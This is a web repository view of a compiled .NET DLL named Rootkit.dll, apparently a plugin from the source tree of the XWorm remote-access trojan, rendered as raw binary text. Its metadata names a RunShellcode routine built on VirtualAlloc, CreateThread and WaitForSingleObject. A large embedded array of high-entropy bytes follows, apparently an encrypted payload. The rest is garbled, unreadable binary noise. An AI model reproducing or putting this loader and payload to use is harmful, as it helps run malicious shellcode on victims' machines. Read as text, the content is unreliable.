Files
XWorm-6.5-Source/Plugins/Rootkit/obj/Debug/Rootkit.dll
T

142 lines
20 KiB
Plaintext
Raw Normal View History

2026-08-27 11:22:34 -06:00
MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode.
$PELÎmP‡à" PFÞ=  À`…Š=Oh  ô<8  H.textøD F `.rsrchH@@.reloc  L@B¾=Hè#T<<¸(
*&(
*¦s
s
s
s
*0~o
+*0~o
+*0~o
+*0~o
+*0<~(!
,!r("
o#
s$
~
+*0 ~
+*"*Vs (%
t*(&
*0 ~
+*0 (

+*('
*01 .+ (+ Þ%((
 ()
Þ
+*"² '((*
% 'r%p(+
œ€*('
*0 ~,
~Žiº(-
@(
~,
(.
, r¸ps/
z~~Ži(0
~,
~,
(
~,
(.
, ps/
z (&*0
(1
(2
+*0 (3
+*0 Ð ("
+*0
(4
+*0Œþ ,(+
+
+*&þ*&('
*05{6
o7
Œþ ,(+ {6
o8

+*R('
s9
}6
*BSJB v4.0.30319lì#~X h #StringsÀ #USÌ#GUIDÜx#BlobW•¢= ú30
9A
DþÄkÄÕö&ÏáÏRÏÏ7Ï]Ï~~~©ÏxÌ
¡p
N!
é!&T¬ö-EòÁPŒTÆòùP!÷
Œc¸öcÄ`äëº
6¥áPÛP¯P- Ï
A¥ÝPŒÄ# PœPïPîPï~×PŒ Iª MÈ ]õ]e S  ]è]ðè]] F]
0]
 1%T1ü\1d1>lWtx`}3K! %P áX áb 竌 ¨ ŽÄ ˆà 6˜ü \D!þ¢[!
¨d!ç«z!á„!ø¯œ!X¯³!á¼!; ´ "ç«9"áD"« ¹ Á ´Ì
ä"Æyè#Æyñ#ƒöÒ8#ÆæþP#Ê×y#߃#á#POÑ#á³:ÅåÒ5¹¥HÁ úpp ááá
)á1á9áAáIáQáYáaáiáqáyáá ¡á©á±áÉá&ááéáñááá ááá$á POPOPO$PO¹pkÑÉqÑ) yùá1- á¹á9Ǥ9µ«I ¯a¹i÷ÈqÜËiG Ðáy6 ÖI¤ã¹yè¹yñ¹æþA 4 %<O<š<<á)£. ..8.#A.+N.3N.;A.CT.KN.SN.[l.c.k£@ƒñ@{öCsÿC{öI£/csÿc{öi£Cƒñƒñƒñƒsÿ£P ƒñ£ñ£s£«ñ£³ñ£ñ©{³ÀƒñóñÃsYÃ{³É{³àƒñãñãñã«ñã³ñ £dC³ñc{öc¼ƒ{öƒSNà{öàƒñ{öƒñ {ö ƒñ@{ö@ƒñ`ƒñƒñ ƒñ {öÀƒñàƒñà{ö'
JTY^c¾ßíõú ¬çìŒñHö`ûügT   


7.5<C-4C)C+ C-´è= ðBéBP
Kò
  
´7´9´kk7__StaticArrayInitTypeSize=10000ContextValue`1ThreadSafeObjectProvider`1D1B1B18D7D4B6CBD50F9F598FE58501FE04C6FBB8A32F142EAC89B7C4484C182<Module><PrivateImplementationDetails>TDispose__Instance__Create__Instance__ProjectDatamscorlibMicrosoft.VisualBasicVirtualAlloclpThreadIdCreateThreadSynchronizedMethodCreateInstanceget_GetInstancedefaultInstanceinstanceGetHashCodeRunShellcodeshellcodeRuntimeFieldHandleRuntimeTypeHandlehHandleGetTypeFromHandleValueTypeflAllocationTypeGetTypeget_Cultureset_CultureresourceCultureApplicationBaseApplicationSettingsBaseEditorBrowsableStateCompilerGeneratedAttributeGuidAttributeHelpKeywordAttributeGeneratedCodeAttributeDebuggerNonUserCodeAttributeDebuggableAttributeEditorBrowsableAttributeComVisibleAttributeAssemblyTitleAttributeStandardModuleAttributeHideModuleNameAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeDebuggerHiddenAttributeAssemblyFileVersionAttributeMyGroupCollectionAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeToByteget_Valueset_ValueGetObjectValuevaluedwStackSizedwSizeSystem.Runtime.VersioningToStringMarshalMicrosoft.VisualBasic.MyServices.InternalSystem.ComponentModelkernel32.dllRootkit.dllSystemresourceManSystem.ComponentModel.DesignPluginget_ApplicationMyApplicationSystem.ConfigurationSystem.GlobalizationSystem.ReflectionExceptionCultureInfoZerom_AppObjectProviderm_UserObjectProviderm_ComputerObjectProviderm_MyWebServicesObjectProviderget_ResourceManagerSystem.CodeDom.Compilerget_UserlpParameterget_ComputerMyComputerClearProjectErrorSetProjectErrorActivator.ctor.cctorUIntPtrSystem.DiagnosticsdwMillisecondsMicrosoft.VisualBasic.Devicesget_WebServicesMyWebServicesMicrosoft.VisualBasic.ApplicationServicesSystem.Runtime.InteropServicesMicrosoft.VisualBasic.CompilerServicesSystem.Runtime.CompilerServicesSystem.ResourcesRootkit.My.ResourcesRootkit.Resources.resourcesDebuggingModeslpThreadAttributesdwCreationFlagsget_SettingsMySettingsReferenceEqualsConversionsRuntimeHelperslpAddresslpStartAddressWaitForSingleObjectMyProjectflProtectop_ExplicitRootkit.Rootkitget_Defaultm_ContextRootkit.MyInitializeArrayget_AssemblyCopyRunRecoveryop_EqualityMySettingsProperty#Rootkit.Resources€‘Not showing all elements because this array is too big (187467 elements))VirtualAlloc failed.)CreateThread failed.^ö;¦lD² 2azÈO        A 0 00a0,  a,}}i€‘ €• €•€™€™€‰€‰ €©€­     i 
0mm
 ·z\V4à‰°?_Õ
:0 00a0,}4 a,}
      i0 a,}(TWrapNonExceptionThrows RootkitCopyright © 2025)$a39980f7-76d2-4395-bc7b-55278d5176b6 1.0.0.0M.NETFramework,Version=v4.7.2TFrameworkDisplayName.NET Framework 4.7.2
MyTemplate11.0.0.0@3System.Resources.Tools.StronglyTypedResourceBuilder4.0.0.0YKMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator11.0.0.0a4System.Web.Services.Protocols.SoapHttpClientProtocolCreate__Instance__Dispose__Instance__ My.ComputerMy.Application My.UserMy.WebServices My.Settings´ÎÊï¾lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADP´IÑìÉ^,=,RSDSÕÚªr•\fG¯Ã¸y™ÇeC:\Users\byt3d4sh\Desktop\src 2\Plugins\Rootkit\obj\Debug\Rootkit.pdb²=Ì= ¾=_CorDllMainmscoree.dllÿ% èÀyÀyEVw·Iö2ýX-±ÌÜÆÝB;ûdÌù ŸÜ3.z†•ï3n&~àw•¤Ä#Úø$c%œð×7ŒŸ»g
ËHäè”r{Çýè1±Ü=sã‡z»‚KWn3p•5©®ŽHGgþ_k…@—{Çõ…Þ*¶ð«Fõ[GKYLj]óOéFH1¿"5_
lv?W­Hm¬‹æEÀ‚ógö!ï2 ºÎm¸x,¬º™¢ªùõ>°Ô‡ÜT°zgF]éÇѵî7&ü=¢GgLjŽ{‹®¶æŸƒW²5¬¼0wuÑ7ûµ´l¬{u›ôT`д>%ÜYª%‡Þ€¯ƒIÌãbÓsm5­(AâDýÎÊ¿n únxÌ„{^Gðì”ô:\ ™î´9cm—š[ž)íxT„à/dàæ«â8Ìî¹™Zm6²F‰k¹âfÜšúKgC¦b²§!GvXâ­GÁ9{%h
ð´7AfŸ0ÅÍÕoÍggV¨>”eÜ?wû~¨z¨ø°Ü=0žÐÇu%©³+:}aêZ*Qf. ÷$‰šüðŠOødwKø ‘ˆD]üjje=78­&”Fª–¾‹w" è>ÏF\)Pè¬.ÈvJF~(ë2€B©s¹’ÿ=Ãã
šÒ®êŠþ@`âÔ÷¥öLÝò‘ìK Á ŸÊaã‘ùjéùLO.ýóθ:V¾”6ìæ#Ǹ‰r(H˜F®æ*¢Ç‡lfG¡:W
èÃ3¦‰J«îÆsŽ‚þa`ÄÝl×m>xn†¶ ÁõíTdƸ/Š¢ÙŸ–Œ2ŒhW¿ïŠèÍ–f÷y52n®ªŸ€*Žv:ÁÂéÄØÓ ÅÓàò;9ëb.½ ì>¸xÇÔŠù @!mš !NÖ¦]öþÂàäÜn‘š«q¯ñEnå˜3SÝEÆ6œàtË<ì)ÌÙÑ…pÍûC;)‡Nû-7è8k'
¶€ñ¶1,gŸ—¥3ëÇ/ýÂwˆ{âoJCÄý’'ѧ7œÖH-BQø:‡
ö8Jôˆ2Lñn|H"¥lö­/y±Ö\ÎòŽibyT Ù§iÁ7˜XLt1ïÌ©c“ éñ'fF3
ã»Yht÷Š.ç³!JÝ'r`s½¸wG΋”“È.àúçeüiß
ïžRéRåF4›rÃW¡Ù¤4Ñ|ÁßKÅhÇðíÅ2ü>z ˆ­£6¯mè•‘"h<~"×4*fŽÌWjå¿ bïõ¹¬l‰Ù>¨­!¯¤€©
Ë3nKæ|OR œ;&‰°‹ÌÀŽ}lеy܈‘ÿó^FqïèO%YËç£ÍdÊmž:s¤ójý.9㫪[
È9ùÃÑ„Qâçä #‡Í~ÒFîV¢Q,/žà»Œ&áTΒؽEìµ¹,Cãú‚ÙÒ_,Ó‰!÷\mX6Ï}òsìÕJË{¥Y—Yp/œ… )¥5hÚ“GºùYgóO¼Pˆ‘øˆ?FÒžóšd['¶ô•k脌ÐOj™¿ŠùFvUÂ4i,N¥Ï¦¾}˜¹c€W¯¶Í±­eJÓÁš‹ºø© ÀsuËyï°“›_„õÁ„̯ë:ÓrF[…Ÿg`†sý¥9¸¶#@ŸÎ]c®Ì%¦QXoÑ•ží*Æ;x/:ö%Áöº¼ÏÍ:A¶I¢á^®eG Ø•i1•ó{0ÑT6\t<Vôß-ÙÀì¹”ÄE'øyñT/¯‚\Ïé Ë6:ÛsF
ŽAV&ž´öeÌq+Ri$Ä+Q'ø€êÒ@nä>ådæ9!×d1µIųà[ösÉt°Ì,ä§•˜w]§§?ÅŽ´z˜•# ° ùR"lvðŒ#9ô™à,"`ÐBs´‚\·_ÏðÏÌcÅGøëB›ï-B¦ užU}Ú–·:6àåej{>^}}‹ÞØ(x˜÷,âH³Ú†Ïâó%öÆwÃB±s~ùä¿ëňù±œ éZjiáÓ,?¡bT½½=C¹éõÃ~fG‰°m={nªWࣤú÷Ø%D
&Bg‰FÚ2ËLš*T¹:xœc¥/`‰dí²¶–[®Û
ôc7%]Ï!<rõWSžN=þ…ßðXgg—Å2`ó8ãRêî२(Û’zì¿•?4K«|®§íýÅÙ‚¼B|5vóŸ`
¤‚Yço*x KŽ™´òù”z¥cüª™áùWQ ›Œj}ë<A ˆúÂÆ,ÌæY]2ÍV ¨6Töæ¤0ç6È?ª~w°( CûôÄ]ÀEdQê³Ôê\~¯¦8£×_‡7ÂPÈ f+ô,åÒæÙ6Šç÷4¡ÒˆV7úøOFxM°³…Em.ÅÃxÖ<Ú3Êë÷g¨ûð Èã%è&ˆ1}ÂA{žHw °v‚“pAP”Å£<×DšÁ¥¼}ä
ØE‰¹‹‹ý;[»nö"¶AâõÁ2²RË)Aúz‡,L´¾Pô/#ØôÃÿåSR ‹Á‚$qoÒÍÒ·^*7S0ЫHÈÂÛtãÁëßé04þ
°Ü5›é¾Ù JYìz¿`%(Võ9ƒû‡-ÉblÈ©7
ê”Éü¬(‘çkÎ>‚“zå)2sLŒž”žh—+< XG¡ïHt“ê(Þ¸ø¬ìw0[©,ñé_Žø³G{Ÿ`Óï`Âdoèâ¹&QUHhûù‡Ýimj禾P°ówº!O©îi!UùO€xHÇPiÜ@u-ô{Ô˜ì´Ê¸téï1gõÕ'_
ç
þ@÷§ƒZ3?;PÕÏ¡èô¯-ÿEl˪*Ë›œ¢~GiŒF)p#-¥füÛŸhé]èû4%|ÙÑ„-a,àÉ~ l­;ÈQä]D~Ípgz¬ÿV¿údû»J+du°ôiZ삾[X43­Ax q™ÂÎŽºØò¡ ¬]€ØgÞ“ý½²—ä&,Ã+ap4ýC”J'!.šðzl'f»YFt$ë% в"Œ®j¾—ã—xMíoc&Vƒ T}׿CLÍ»g,P.zîoØ;¿ŠV)Zw-?íSoÈ—¿5
1.g2Z@‹ÊwH,Xë1Ñ9PCXŒjÇÊá
ÀdusHL¸®í›û-ùU8fɦ@Pɇ¥×5Uÿûn .U¡« !9š8Gëf–õ
?ÓÓ±‘­!}6Hm?œõ`P b Ø‘øŒí&·pR8ç§FÇ”šŒ’»I× ›ôP§+^ÙÎóyJBøng
h$]qÕ¡çeéÎF÷ª—òD¦nùËz¼å®
þ‰AÛxÛ!V›O üêµ¶Pñ–„Ò]-±zÕBƒÈ­®?}â° Ýã!Aîëúyf˜ö¯ŒéS?­63o®3»½‚åv÷_hYu§[Í}{qoèÕ(5þ–Õw@ò½ÿä—åæeàý§biapM§«€'Íü—1õ|Edi"zyW°RpeuRàW„—Ò9‹ùTÐø«úÜbÎLÆþ{]tTÆw_½uCù óµ0×àde·0æGhbƒ=·yê!Îy·[`à™d¥û¨ž'°q ÀjûÝ©L´€ô$åjºh ë5^Áïê€lVÄFÙŠ«•&®fÙÔ¢¬€`U/©Åמ£NÀZ —y¦bGUðÃP×»©®˜ŽíHÄO‡x{§õð°ï™È
Jͬ§x*ãϬCºUIùñ,e0 ¯#«šÁˈ81§cêgdÁ
†vºOLd0êw…ÝW£5U
ßÕÔ3‹¬*š…jŸEp Tÿ»M ιKsnÍG2$0†V”÷.Ë&H¼”yÊÑåœcd1‹Ô¯Ì$j*7:Tv\S=üßê Þü½Nr™Ù4Ù
 b™²Ë´WÚÿ8W#X¬rÈîâøPrZMUÚûˆ[j®,ífÝø?ZüL:ÒCÔʽî{!=«Ø†
xYeôgMo7‰ª :J§?-%Jçë—4žhYÚÎv¼…Ú‰¨9Á•T´¹A­}zµ‰ú±ýº&9¡á–¶ÆÉg™l™¬m9}f 邙ꬅUë©T¥’ÜÅd^ý½"E©‘àŽærd)ì@è8|­¶›êÚÑgÅ«è´œá ¼ø¦FíÏ4‚ЪE ΈNß¶stW£_¸YO¤m`²lªG'£¡W”Û¯_>+€ñ¤Êïû|8›–/ÍŠ•×úR%øúý6z‹ÄÖUO(ûßÂÒ<:´I "–Ð¥û°Ò|k L$»(#sÌ3j'lÎhŠW›Âfœ jaJ…ŸV<WCo)¼K§ª„Nó¨ iÐ
þ÷82•ëÉÒ£ Ú-Qa†º~ä¹zÁhEØvºFtññ+Rv¬<0ÁeóþúõùÝ Ã}
gÓ9çÊÐŒz¯€£OÆ£ø÷PEù—sù‘b(gz:A"³ÉdR «Œs1mtf8“ÓAþ™ÂˆïÁ!¯ýÔx¾hö÷¢’N‹ª
C7¬|gžYi•h¦Yt£
å—•_-üv„’¥HV&ÏŒa[€þƒÛ¦nµm†(¾faOܘÃYépÃñ*…¢—È›FIì@$>g©ˆ»I~g¡áó®jÑ@$
ÜKg*d6ŒtôS…›^².|aXpx•´ÓloçjH¿uThb–Ñ™‡tê©p +X1µÿ.åš/a/BT6§•’‹EÛAâšÄH†¸ÏK¿Ü;AÀ@Þª+´]/]Iû§(œ„T+"2mÛ³lj?-O&Ï?8³$¯ ÉŸjq¼^I•,ŒD„‘#ÞÒÉ`~*ÕÊuÖ¨çÓÀËéC¦î/r}±J1KãQÅÉfbS¢Cÿ±Þ¤aN(ç<‘‹Ú„&Ç´¹Ú%Ö¸1IS™çæ-†À͘”·ˆVv´0±B¿¥Ðè¥u޾ǩ;l±¤g]{ü°{kl„G <©A⯖M ƒ
ÉSlÆ~Qà„ëhbߎ#‘àÖ"LÈåPÉ‚¸ý;‡³†Òz É·d¬õÁÒÒaÉ™åéÀûK ¡j¡uÞèSÁ›÷@2% ˜ãš­õñ :¸æÓˆvé¦Óä’¬FZͧŸ²nj—¼[lR÷™ë­
Î
Ì£ˆ_6£0Ø‹WRð*›$¦GEŽÄü) ™›±šiQB£ü2Bm=çøôˆL¹RfµDD¹ò
2`mìU^èadŒ”Ö‹{!W«lNµ=uÊ{L¶ÐùçDý;…€¬`¸á¤WVü¡¸2¸?|'àåÕ—¸Žœbt.G
êu@¦¼fñnÆQ¿(+ÿ”èÿ@ ßSàånw!)ëpš§ê%Hw">ÎÓb®ço|ÔX„³þäNûP*»þ\ÃÕ÷ˆyÆg質 íåáéÝU¢Î˜xdgªpäF\a$àBQ¹,Ïà—hëZ˜Ôå“þ"ú¨M¶ù2‚B«¦_×-HvŽNòÉÅ_G6SÓlø’:™YHÒ„ÎØê~¬³ÁZÆ¹ÄÆ >ƒÚ‡¨è)ªðuu©KÓ0ÇjkïòÊØ—Þ³Õú®æÝ[Áp–C’Œðd£tQÙýœotVýPÔcWÖé¬ý:eâIÍ€Îù)—bDžô³§–g“8WÎd=3^@Ž? ö™Æþ¦ãH}Àòê[Û[&(âäF¯Á¸D*6]ß¡[qZBÀÇ®ÚÛ QF>x$¹ F}r›Ã¶ *âꄘùËè™gsÚÇGb{Õ:Uψ¤5™eA¾®îçèÆ¾õJ‘©óó 
+ ˆ~æhÔÅÔ.å±Ò߬)NÌ^›S¹Šá¢£Ð¿®}Ø03„¯5
\|òi¥t3ÿ•}
S+›âA›½í&öÓ¶¥£ÂJÏ–¢FVŒçèI/™çʃʵÂýIEþƒ#§Þp× êï+Ïq3©ìÄó‚Ú,½Þò®™‘ÕÝ·/lçIúº€Ì‹1™4ã“HiÀZž“_F廓N"ÄÁ™.Áp^¦xL/¯âotYsQÕâ±AJ#¥ìžßÚh'î胣äò,»Ò^‡°z04®«78WÕŽ${ôwovF•†£Spó)ÂÀ“L¸ê¦É±É